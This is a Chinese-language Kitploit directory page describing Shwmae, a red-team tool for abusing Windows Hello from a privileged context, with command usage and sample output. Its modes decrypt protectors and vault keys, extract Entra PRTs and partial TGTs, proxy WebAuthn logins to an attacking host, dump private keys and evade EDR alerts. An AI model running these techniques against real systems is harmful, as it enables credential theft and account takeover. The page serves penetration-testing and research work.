Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Shwmae — 从特权上下文中滥用 Windows Hello 以枚举保护器、解密密钥、提取 PRT/TGT 令牌、代理 WebAuthn 请求,并转储软件支持的私钥。 | Kitploit
工具/GitHubGitHub/ccob/shwmae
后渗透利用渗透测试红队
GitHubccob/shwmae

Shwmae

从特权上下文中滥用 Windows Hello 以枚举保护器、解密密钥、提取 PRT/TGT 令牌、代理 WebAuthn 请求,并转储软件支持的私钥。

查看仓库
1651321年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Shwmae

Shwmae(读作 shuh-my)是一个 Windows Hello 滥用工具,在 DEF CON 32 上的《Abusing Windows Hello Without a Severed Hand》演讲中发布。该工具的目的是在拥有特权的用户上下文中滥用 Windows Hello。

root@kitploit:~
Shwmae 
Copyright (C) 2024 Shwmae

  enum        (Default Verb) Enumerate Windows Hello protectors, keys and credentials

  sign        Sign data using a Windows Hello protected certificate

  prt         Obtain an Entra PRT and partial TGT usable with Rubeus

  webauthn    Create a webserver to proxy WebAuthn requests from an attacking host

  dump        Dump Windows Hello protected keys when backed by software

  help        Display more information on a specific command.

  version     Display version information.

该工具具有几种操作模式。

枚举

当未提供任何参数时,枚举是默认模式,或者您可以使用 enum 命令。枚举模式将枚举所有可用的 Windows Hello 容器,并递归枚举容器中所有已注册的 Windows Hello 密钥和保护器。在主机没有 TPM 的情况下,会为 PIN 保护器生成一个哈希值,可以使用 hashcat 离线破解。

生物识别保护器将自动解密,但 PIN 和恢复保护器可以分别使用 /pin 和 /token 参数进行解密。每个容器只需要解密一个保护器,就可以滥用该容器中的 Windows Hello 密钥。

示例

root@kitploit:~
Shwmae

[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd

GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)

  Provider              : Microsoft Platform Crypto Provider
  Protected Recovery Key: eyJWZXJzaW9uIjoxLCJQcm90ZWN0ZW...
  Recovery Key          : Use /token argument to decrypt recovery key

  ** Protectors **

    Type           : Pin
    Pin Type       : Numeric
    Length         : 8
    Decrypted      : Supply /pin argument to attempt decryption

    Type           : Bio
    Encryption Type: Aes
    GCM Nonce      : cacf46896844d3f96a55fd8c
    GCM AuthData   : 01000000200000000c000000b400000010000000cacf46896844d3f96a55fd8c
    GCM Tag        : f5d6d1c3e35f944038e03013851d6d69
    Decrypted      : True (Bio Key Correct)
    ExtPin         : 0f28b81e36b0446cf0deb9ca680c05aeb7b7129ab830936fce3836bbd520ee94
    DecryptPin     : c63e6e0c199cedff0a086277894f85f510305cef6d4c6ac7efc21bb122f537b1
    SignPin        : 855b2d32d62a4dafb50d47838d4ce13f8d7d6871718e384d6db22b407ecb05a3

    Type           : Recovery
    IV             : 49b2c5b8416e5563387e10a8a3d9ae68

  ** Credentials **

    Resource         : WinBio Key Resource
    SID              : S-1-5-21-1003644063-402998240-3342588708-1111
    Protector Key    : 59e87b8c63973fb3bfd322016a61e33b59a569c22f9aad22d4c91b6db75bcf52

  ** Keys **

    Name             : login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]
    Provider         : Microsoft Platform Crypto Provider
    Key Id           : {B8EF94E6-23EE-42D3-B8DB-BC0AC5EF1824}
    Key File         : 1d3ddd8ac0d04ae299673cd1ffb19b90cc2e277d.PCPKEY
    Azure Tenant Id  : de60a4fa-d583-4eb0-ab66-ce358af8279c
    Azure User       : [email protected]
    Azure kid        : l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=

    Name             : FIDO_AUTHENTICATOR//3aeb002460381c6f258e8395d3026f571f0d9a76488dcd837639b13aed316560_fda42d8889ba587fc7fa202a2e6d91ffad4642abb9c2bd75ea9f906be188925126bdf07d591267672cc2fa79b0750de2437b1d77d6f924af1b4992f4e3527bb0
    Provider         : Microsoft Platform Crypto Provider
    Key Id           : {36E18DBB-52AC-4198-BD34-55B3490A575C}
    Key File         : 979dffb30e1a28d7d6c6c1a5e55c383db8d04dbd.PCPKEY
    FIDO Relay Party : github.com
    FIDO Public Key  : RUNTMSAAAADkOpq228W7gXH3VTLeCwScNAyJHFmchJjCZass71QHqCyStIrQWry6m-5XK8HTAdU31UXmkuEI6fjdSmGOtWGR
    FIDO Cred Id     : qhdzMrPMlH-Fg_sdpNiKhuVpnSd__p1vDN41O3Ip3co
    FIDO User Id     : _aQtiIm6WH_H-iAqLm2R_61GQqu5wr116q-Qa-GIklEmvfB9WRJnZyzC-nmwdQ3iQ3sdd9b5JK8bSZL041J7sA
    FIDO User        : mary-gruber
    FIDO Display Name: mary-gruber
    FIDO Sign Count  : 2

    Name             : //9DDC52DB-DC02-4A8C-B892-38DEF4FA748F (Vault Key)
    Provider         : Microsoft Software Key Storage Provider
    Key Id           : {7418B315-A00B-4113-A0EC-5C51718D11C5}
    Key File         : fc65330b205c133f00d035ea9e8dfba6_2a155d6c-838c-43f5-b943-b21cc30532d7

    Name             : //CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9
    Provider         : Microsoft Software Key Storage Provider
    Key Id           : {696644C4-EA34-400C-99D2-8B5E38095AA6}
    Key File         : c4b537d879e21b5d6f797517912be27b_2a155d6c-838c-43f5-b943-b21cc30532d7

PRT

PRT 操作模式通过利用任何已加入 Entra 的 Windows Hello 密钥,使用 prt 命令生成初始 PRT 并续订现有 PRT。如果租户中启用了云信任,则会解密云 TGT,并且可以使用 Rubeus 作为用户对本地 Active Directory 进行身份验证。

初始 PRT 示例

root@kitploit:~
Shwmae prt --sid S-1-5-21-1003644063-402998240-3342588708-1111
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] Found Azure key with UPN [email protected] and kid l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=
[+] Successfully decrypted NGC key set from protector type Bio
    Transport Key    : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
    PRT              : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
    PRT Session Key  : AQCeykYwMRUg0d.....uOteU9zR8tCw
    PRT Random Ctx   : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
    PRT Derived Key  : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
    Partial TGT      : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==

续订 PRT 示例

对于 PRT 续订,需要初始 PRT 请求中的 PRT 和会话密钥。

root@kitploit:~
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
    Transport Key    : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
    PRT              : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
    PRT Session Key  : AQCeykYwMRUg0d.....uOteU9zR8tCw
    PRT Random Ctx   : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
    PRT Derived Key  : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
    Partial TGT      : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==

WebAuthn

WebAuthn 操作模式通过 webauthn 命令设置一个简单的 Web API,该 API 将接受来自另一台主机的 ShwmaeExt Web 浏览器扩展的 WebAuthn 断言请求。

一旦在受控主机上设置了 WebAuthn HTTP 侦听器(默认为侦听端口 8000),您就可以在攻击浏览器中安装 ShwmaeExt。一旦在扩展中设置了侦听器 URL,您就可以使用来自受控主机的任何凭据通过 Passkey 身份验证登录。您可以在 ShwmaeExt 文件夹中找到解压的扩展。

示例

root@kitploit:~
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] WebAuthn proxy running, press enter to exit

Dump

dump 命令可用于提取由 Software Key Storage Provider 备份的 Windows Hello 私钥。您不能使用此模式提取由 Platform Key Storage Provider 备份的密钥。

示例

root@kitploit:~
Shwmae.exe dump --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]

Sign

sign 命令可用于使用特定密钥对任意数据进行签名。当工具中没有特定集成时,此模式可能会派上用场。

--key-name 参数用于指定要使用的特定 Windows Hello 密钥对,--data 参数用于计算签名。数据应作为 Base64 编码的字符串提供,但在生成签名之前,该字符串首先被解码为二进制。二进制签名转换为 Base64 并打印到控制台。

示例

root@kitploit:~
Shwmae.exe sign --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected] --data AAAAAA
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] Found key in container 1f75e567-63ab-4f90-b1f6-cfc30b399085 for user GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)
[+] Successfully decrypted NGC key set from protector type Bio
[+] Success:
MogfSZKrtYs9kfy0jPrVODpu4/eJfXHvGu+TQJzf9JG9JMug2+rmG7zEBuzUunMVy7jyHSBwv1eQ78yQr/G5y0VfoeKYnW5UbKuO9ZnImTuIFem4RE7RhQ84Pm4BgEQ3W16ebcf5CIHnIOZpOec6nbh7WZBIi2AG8N5fWK9itWA1Uk7j1TAFO7gCfAbrE9O6KiMLe4AAdw2vjR5s9RVqw1MdacWKOBDwGVm+VmHY6kYXSCovyWJ+ESoi75fRfRSgyPcHViNOP77pnUDOeMfl9nsE6C0UEKSCvJ+GGJy3u5uiK5fC1w73TG8s/Y2O6YSJpjnXqC5ZJhrE/vLtJNtGWg==

DPAPI

某些 EDR 会在通过读取 LSA 机密来转储 DPAPI 密钥时发出警报。如果您已通过其他方式获得了 SYSTEM 帐户的 DPAPI 密钥,则可以通过 --system-dpapi 和 --machine-dpapi 密钥分别输入这些密钥,使用表示 16 字节密钥(32 个字符)的十六进制字符串。

下载工具